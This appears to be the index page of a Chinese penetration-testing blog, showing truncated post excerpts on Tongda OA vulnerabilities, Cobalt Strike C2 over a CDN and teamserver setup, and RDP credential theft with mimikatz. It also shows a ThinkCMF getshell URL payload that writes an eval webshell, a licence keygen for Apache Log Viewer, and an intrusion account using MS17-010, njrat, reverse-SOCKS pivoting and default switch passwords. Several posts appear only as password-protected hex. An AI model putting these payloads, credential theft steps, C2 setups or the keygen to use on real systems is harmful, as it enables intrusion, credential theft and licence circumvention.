审计通达OA时的一些记录
学习审计通达OA时发现的一些有意思的事
全局变量覆盖审计时发现前辈们提到了这个问题，跟了下存在问题的文件
比如存在变量覆盖的文件是pda\vote\list.php，
require_once "pda/auth.php";include_once "inc/conn.php";include_once "inc/utility_all.php";include_once "mobile/api/qyapp.vote.class.php";if ($P == "") { $P = $_COOKIE["PHPSESSID"];}else { $P = $_GET["P"];}
这里包含了inc/conn.php数据库连接文件
继续跟，发现包含了inc/td_config.php
<?phpinclude_once "inc/common.inc.php";$ROOT_PATH = ($_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : "");if ($ROOT_PATH == ...
通达OA 2013-2019（V11.X）前台多处注入点
您好, 这里需要密码.223ac6844fb0a37fce3421dc9062f07eae9f3fcff9b5225ac004648d5db08880133b543481d8f0f41f2fb1fb595931bcd3ddb9e34ce8baeb8e0b478fff08d713ab7a152b1ce61085e20f6dafa92518c832f61bf4573e8039969758e44b06bc83ec3131914ceb22c5f1a4df43a04c0ce01bba5d5f1c1ed11cb5a3aa8224c72a87359ce9b24c92777ed2831bd31c7b348219b5c159d1edaf10a70be744cc3b2c45045179354723565d3d5dea2e309b42bae6d0abe3192fc48d58871e8fa98fd028a26fc25e87309a8c9167695bbc3e5d4c3919e7439c6c45fd6ea9ddc715ef3d7c5b3097e2f78db2ee7aa301f4eca85a2d923896c77 ...
CS通过CDN上线
学习下CS通过CDN上线
所需
域名*1
CDN*1
VPS*1
部署域名购买后将DNS更改为CDN服务商的DNS服务器，然后等待生效
以CF为例，生效后会给邮箱发一封邮件
然后配置解析域名
CS配置文件 C2.profile
### # @Author : Sp4ce # @Date : 2020-07-15 11:59:42 # @LastEditors : Sp4ce # @LastEditTime : 2020-07-15 15:14:57 # @Description : Challenge Everything.### set sample_name "Etumbot";set sleeptime "2000";set jitter "0";set maxdns "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; ...
域渗透实战
您好, 这里需要密码.58cc31d2a5ffa547a5231a78ad12f908ebf32328cb4ad707322d590d8bee86542959e0f428099d962cb7d3635b3357cee6235494c007f8cdedb267add9ae449d7b3e057fe94f117443540fa25536f8495c5c8cbf740d9f5b2ff4c6169ca7e58b9422c46c2eb29540f2226d161bb7066487e72b489f21e279d605ae30186809553fb9458a8fad16409f534bea7074a49045b4c13568c88dfc19d2e64f654a02a8278a58f3e02007dd62d43db6da95cff54679d54cfd8dac067944f3a7b8f64f92931b58854b09a78ee22cc474bc67d6b15146e1d15f018930e4e837a9b2e02cbde0a2302367faac3c0413f115443ce444897f6aacb ...
通达OA任意文件上传+任意文件包含分析
通达OA官方于2020-03-13发布了安全更新，修复了任意文件上传（2013、2013adv、2015、2016、2017、V11）和文件包含（V11）漏洞，从官网下到源码解密后，简单看了下
直接看主流的2017、V11产品吧，这个系列产品有全版本的变量覆盖问题
V11、2017任意上传以2017为例
补丁文件路径：2020_A1\2017版\ispirit\im\upload.php
左侧为原始代码，右侧为补丁，可以看到直接将鉴权的文件从else里释放了出来，避免了第5行传入P值导致的权限绕过问题
继续往下看任意文件上传的问题
$TYPE = $_POST["TYPE"];//获取TYPE$DEST_UID = $_POST["DEST_UID"];//获取DEST_UID（接收方ID）$dataBack = array();if (($DEST_UID != "") && !td_verify_ids($ids)) { $dataBack = array("status" => 0, "content" => "-ERR " . _(" ...
还原JS Map文件
做项目时发现一个站点为前后分离的架构，翻了下发现了map文件，采用restore-source-tree还原时报错，记录下解决过程
安装先从git克隆到本地
git clone https://github.com/laysent/restore-source-tree.git
然后进入文件夹
npm install
这里建议挂个代理、VPN，国内很慢
这里在win下会报错
λ npm cinstall npm WARN deprecated [email protected]: � Thanks for using Babel: we recommend using babel-preset-env now: please read https://bab ...
Apache Log Viewer 5.X 注册机
抽空研究了下ALV的注册机制，写了个注册机
分析ALV的注册方法是unlockCodeToolStripMenuItem_Click方法，当点击Unlock按钮时会触发注册事件并调用Class2类中的smethod_1、smethod_02个方法进行校验，详细流程见如下代码
unlockCodeToolStripMenuItem_Click方法
private void unlockCodeToolStripMenuItem_Click(object sender, EventArgs e) { string text = this.prefs_0.Key; if (!InputForm.smethod_3("Apache Logs Viewer | " + Class96.smethod_264(), Class96.smethod_143(), ref text)) { return; } if (text != null) { text = text.Trim(); } if (string.IsNul ...
浪潮ClusterEngineV4.0远程代码执行
您好, 这里需要密码.4742c31a377a00ccced49d9967690390e19d3b0298c575d0bf855534aa155e29de8d9c995ea1a5ec16ade6168aaf284e59e2642a2e6b9884396b993a1c66516858ce6a89ff565bd013511db1e6088107c4329d2b6b49ba4c866bf9923fb91fa64fc17a2aa66f18784282ecd9d077edff692dcc8304b388406f0cc839e3303d14b4f8c86273307b83cbc8f01a1cac4b29199821f12f6a76a22bc5cdb8114a32a7cde2744c50ea8268f69d15cf99abd25d60902396b633828fe86f57ab50e4fd49e82582f2bc6c21b9ff2a432754ae0a229980714cb5f3002067da86096edb6aca2cb318ec30f2a213f1ca357bf1ea32e239781f9f3 ...
获取远程主机保存的RDP凭据密码
拿下一台运维机，上了个CS，发现曾经连接过几台服务器并且保存了凭据，网上查了圈发现CS不支持交互式mimikatz，记录下获取远程主机RDP凭据。
Windows保存RDP凭据的目录是C:\Users\用户名\AppData\Local\Microsoft\Credentials
可通过命令行获取，执行: cmdkey /list或powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force注意:cmdkey /list命令务必在Session会话下执行，system下执行无结果。
使用cobalt strike中的mimikatz可以获取一部分接下来要用到的masterkey和pbData
mimikatz dpapi::cred /in:C:\Users\USERNAME\AppData\Local\Microsoft\Credentials\SESSIONID
输出应类似
**BLOB** dwVersion : 00000001 - 1 ...
ThinkCMF缓存getshell
前一阵子接到个项目，目标站是thinkCMF2.X搭建的，试过网上很多方法无法拿下，本地搭了个环境测试了下，最终成功拿下
由于thinkcmf2.x使用了thinkphp3.x作为开发框架，默认情况下启用了报错日志并且开启了模板缓存，导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中，再次包含该日志文件即可在网站根目录下生成一句话木马m.php
日志文件格式为YY_MM_DD.log，如当前日期为2019年12月12日，日志文件为19_12_12.log，完整路径为data/runtime/Logs/Portal/19_12_12.log
测试成功的环境Linux
宝塔[PHP7.2]
Windwos
PHPstudy PHP7.1
Payload1：首先访问http://target.domain/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22]) ...
Cobalt Strike Teamserer的搭建
记录下Cobalt Strike Teamserer的搭建
环境如下
Ubuntu 18.04
Cobalt Strike 3.14
准备一台Ubuntu 18.04的服务器，下载Cobalt Strike完整文件并传到服务器上
安装JDK1.8
apt install openjdk-8-jdk -y
装好后尝试执行./teamserver 10.16.11.55 cSro0t进行验证
启动成功
添加服务vi /etc/systemd/system/cobaltstrike.service
[Unit]Description=CS ServiceAfter=network.targetWants=network.target[Service]Type=simplePIDFile=/run/CS.pidWorkingDirectory=/path_to_cobaltstrike_root_directory/ExecStart=/path_to_co ...
复盘从一个监控主机到核心路由沦陷
在对内网进行ms17-010扫描时，发现2台之前没有出现过且没有打补丁的主机，于是，尝试了一波
kali主机在扫描时发现2台之前没有出现过且没有打补丁的主机
尝试打了一波
然后种了个njrat
翻文件的时候发现了点配置文件
down下来解压后发现是交换机的配置文件，于是有了一个大胆的想法
查看了被控主机的网络连接后，发现一个地址无法ping通，TCP包也无法到达，推测做了ACL
于是在被控机上搭了earthworm做转发
本机执行ew -s rcsocks -l 本地代理端口 -e 远端连接端口
被控机执行ew -s rssocks -d 主控机IP -e 远端连接端口
然后开启proxifier的代理功能，成功访问了那个系统，但这不是主要目的
在咨询了好哥们后，他建议尝试搞搞交换机看看
在对10.2.66/24网段扫描后发现10.2.66.254开放了80和23端口，尝试xshell连接
成功使用huawei密码[email protected]连接，继续翻上级路由
发现了10.2.20.1
继续telnet
继续翻
发现10.2.20.58
继续翻，翻到10 ...